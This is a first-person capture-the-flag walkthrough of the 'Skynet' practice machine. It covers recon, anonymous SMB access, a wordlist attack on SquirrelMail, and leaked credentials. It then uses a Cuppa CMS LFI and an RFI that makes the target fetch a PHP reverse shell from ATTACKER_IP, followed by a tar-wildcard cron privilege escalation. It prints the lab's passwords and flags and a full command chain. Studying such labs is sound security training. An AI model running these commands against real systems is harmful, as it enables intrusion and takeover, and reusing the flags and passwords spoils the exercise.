A vulnerable Terminator themed Linux machine. Hasta la vista, baby.


Recon

Two Nmap scans running in parallel. A detailed vuln scan:

nmap -sS -Pn -sC -sV --script=vuln -T4 TARGET_IP -oA skynet_nmap_result.txt

And a lighter pass to start mapping enumeration paths while the first runs:

nmap -sV -sC -p- -T4 TARGET_IP
nmap results showing SSH, HTTP, POP3, IMAP, and Samba ports open

Not a bad assortment of ports and services to work with.

Open ports:

  • 22 SSH (OpenSSH)
  • 80 HTTP (Apache 2.4.18, title: Skynet)
  • 110 POP3 (Dovecot)
  • 139 NetBIOS (Samba, workgroup: Skynet)
  • 143 IMAP (Dovecot)
  • 445 NetBIOS (Samba, workgroup: Skynet)

HTTP didn’t fingerprint much in the vuln scan, which is uncommon. More on that in a moment.

(Schwarzenegger voice) …I’ll be back.

It had to be done. Leave me alone.

In-browser:

Skynet homepage in browser

We definitely have a Google copyright infringement, but I’ll save that for my spare time.

Time to enumerate directories via feroxbuster:

feroxbuster -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
feroxbuster output showing /admin/, /ai/, and /squirrelmail/ returning 301

While it runs, notable finds so far:

  • /admin/ serving 301
  • /ai/ serving 301
  • /squirrelmail/ serving 301

I’m familiar with Squirrelmail. When I bought my first domain from MyDomain.com (RIP), their free email service was Squirrelmail. Archaic and nostalgic even up to around 2020. I thought I was just waxing poetic down memory lane, but I’m going to take a walk that way instead.

http://TARGET_IP/squirrelmail resolves to:

http://TARGET_IP/squirrelmail/src/login.php
Squirrelmail login page at /squirrelmail/src/login.php

I’m quite proud of myself.

No credentials yet, so SMB is the next service to investigate. Treasure usually lies within.


SMB enumeration

nmap -sS --script /usr/share/nmap/scripts/smb-enum-shares.nse -p 139,445 TARGET_IP
nmap SMB enumeration showing four shares including anonymous and milesdyson

Well, well. Hello there, Miles. Can’t talk now. I’m en-route to pwn you.

Four SMB shares, two with anonymous access, and a share belonging to Miles whose password we need. Let’s see if guest access works:

smbclient //TARGET_IP/anonymous -U guest
smbclient guest login to anonymous share succeeding

I feel like I’m waiting for the other shoe to drop. This is feeling a little too easy.

ls
anonymous share listing showing attention.txt and logs directory

attention.txt first, then logs.

get attention.txt

Read locally:

attention.txt contents from the anonymous share

Hmm. Perhaps we do want logs after all. logs was created about an hour after attention.txt. It may hold rotated credentials.

cd logs
ls
get log1.txt
logs directory listing and log1.txt contents showing a password wordlist

We’re making a wordlist. The other two log files are empty. Save yourself the trouble.


Cracking Miles’ email password

Intercept a login attempt at http://TARGET_IP/squirrelmail/src/login.php in Burp. Set the payload position on the secretkey value, load log1.txt as a Simple List, and start the attack.

Burp Intruder configured with secretkey as payload position and log1.txt as wordlist

A 200 response comes back quickly.

Burp Intruder results showing one 200 response indicating the correct password

We’re in.

Squirrelmail inbox for milesdyson after successful login

Miles, you just got pwned.

Miles’ email password: cyborg007haloterminator


Miles’ SMB share

The first email in his inbox: a Samba password reset.

Miles' inbox email containing his new Samba password

Pwned again, sir.

Miles’ SMB password is nearly all special characters, so we’ll use an auth file instead of typing it at the prompt:

nano smbcreds.txt
username=milesdyson
password=)s{A&2Z=F^n_E.B`
domain=WORKGROUP

Log in using the auth file:

smbclient //TARGET_IP/milesdyson -A smbcreds.txt

We are in as Miles.

ls
cd notes
ls
get important.txt
milesdyson SMB share notes directory listing showing important.txt

This looks suspiciously like the AI Security section of my Obsidian vault.

cat important.txt
important.txt revealing a hidden directory path starting with /45kra24zxs28v3yd

Credentials aside, this is nearly verbatim from my Obsidian vault. I’m sorry, wife. I’ll do better.

A beta CMS. A hidden directory with a leading /. Found it.

Hidden directory: /45kra24zxs28v3yd


Cuppa CMS and the LFI

Visit the hidden directory:

http://TARGET_IP/45kra24zxs28v3yd/
hidden directory serving Miles Dyson's personal page

Nice to formally meet you, Miles. Now let’s see what’s behind it.

feroxbuster -u http://TARGET_IP/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

/administrator/ turns up. In browser, it feels like I’m about to enter the POS interface for the coffee shop on Friends.

Metasploit came up short, but searchsploit holds an exploit for Cuppa CMS:

searchsploit -x php/webapps/25971.txt
searchsploit exploit detail for Cuppa CMS showing the vulnerable urlConfig parameter

The vulnerable line:

include($_REQUEST["urlConfig"]);

Whatever value gets passed as urlConfig is included as a PHP file. The vulnerable path is /alerts/alertConfigField.php. The question about remote file inclusion was not subtle foreshadowing.

Confirm LFI first:

curl "http://TARGET_IP/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd"
curl LFI returning /etc/passwd contents

/etc/passwd in the output. Confirmed.


Reverse shell via RFI

Copy PentestMonkey’s PHP reverse shell into the working directory and edit the IP and port:

cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
nano shell.php

Set $ip to ATTACKER_IP and $port to 1234.

Three terminals:

python3 -m http.server 8000     # terminal 1: serve the shell
nc -lvnp 1234                    # terminal 2: catch the shell

Terminal 3, trigger the RFI:

curl "http://TARGET_IP/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://ATTACKER_IP:8000/shell.php"
netcat listener catching the reverse shell as www-data

Upgrade the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

This shell is, as the kids would say, mid. But it works.

cat /home/milesdyson/user.txt
user.txt flag in milesdyson's home directory

User flag: 7ce5c2109a40f958099283600a9ae807


Privesc via tar wildcard

ls -la /home/milesdyson/backups
cat /home/milesdyson/backups/backup.sh

A root cron job runs tar cf ... * from /var/www/html. GNU tar’s --checkpoint-action=exec=COMMAND executes a shell command at checkpoints. If we can name files that look like tar options in that directory, the cron job runs them for us.

Same technique as Operation Coldstart, different path to the writable directory.

Stage the payload in /var/www/html:

echo 'cat /root/root.txt > /tmp/rootflag.txt' > shell.sh
chmod +x shell.sh
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
/var/www/html listing showing shell.sh and the two --checkpoint option files staged

Wait 60 seconds for the cron job to fire, then:

cat /tmp/rootflag.txt
root flag read from /tmp/rootflag.txt after cron fires

Root flag: 3f0372db24753accc7179a282cd6a949

Fin.


Full Attack Chain

# 1. Recon
nmap -sV -sC -p- -T4 TARGET_IP
# 22 SSH, 80 HTTP, 110 POP3, 139/445 SMB (Samba, workgroup: Skynet), 143 IMAP

# 2. Web: feroxbuster finds /squirrelmail
feroxbuster -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

# 3. SMB anonymous access -> attention.txt + log1.txt (wordlist)
smbclient //TARGET_IP/anonymous -U guest
get attention.txt
cd logs && get log1.txt

# 4. Burp Intruder on squirrelmail login -> cyborg007haloterminator
# payload position: secretkey, simple list from log1.txt

# 5. Read Miles' email -> Samba password reset
# SMB as milesdyson -> notes/important.txt -> hidden dir /45kra24zxs28v3yd

# 6. feroxbuster on hidden dir -> /administrator/ (Cuppa CMS)
# searchsploit Cuppa CMS -> LFI via urlConfig parameter
curl "http://TARGET_IP/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd"

# 7. RFI: serve PentestMonkey PHP reverse shell, trigger via urlConfig
python3 -m http.server 8000
nc -lvnp 1234
curl "http://TARGET_IP/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://ATTACKER_IP:8000/shell.php"
# -> shell as www-data, upgrade with pty, user.txt

# 8. Privesc: tar wildcard via root cron job in /var/www/html
echo 'cat /root/root.txt > /tmp/rootflag.txt' > shell.sh
chmod +x shell.sh
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
# wait 60s
cat /tmp/rootflag.txt

Recap: SMB anonymous access, wordlist from logs, Burp Intruder cracks squirrelmail, email leaks Samba password, milesdyson SMB reveals hidden directory, Cuppa CMS LFI confirmed, RFI delivers reverse shell, tar wildcard cron abuse to root.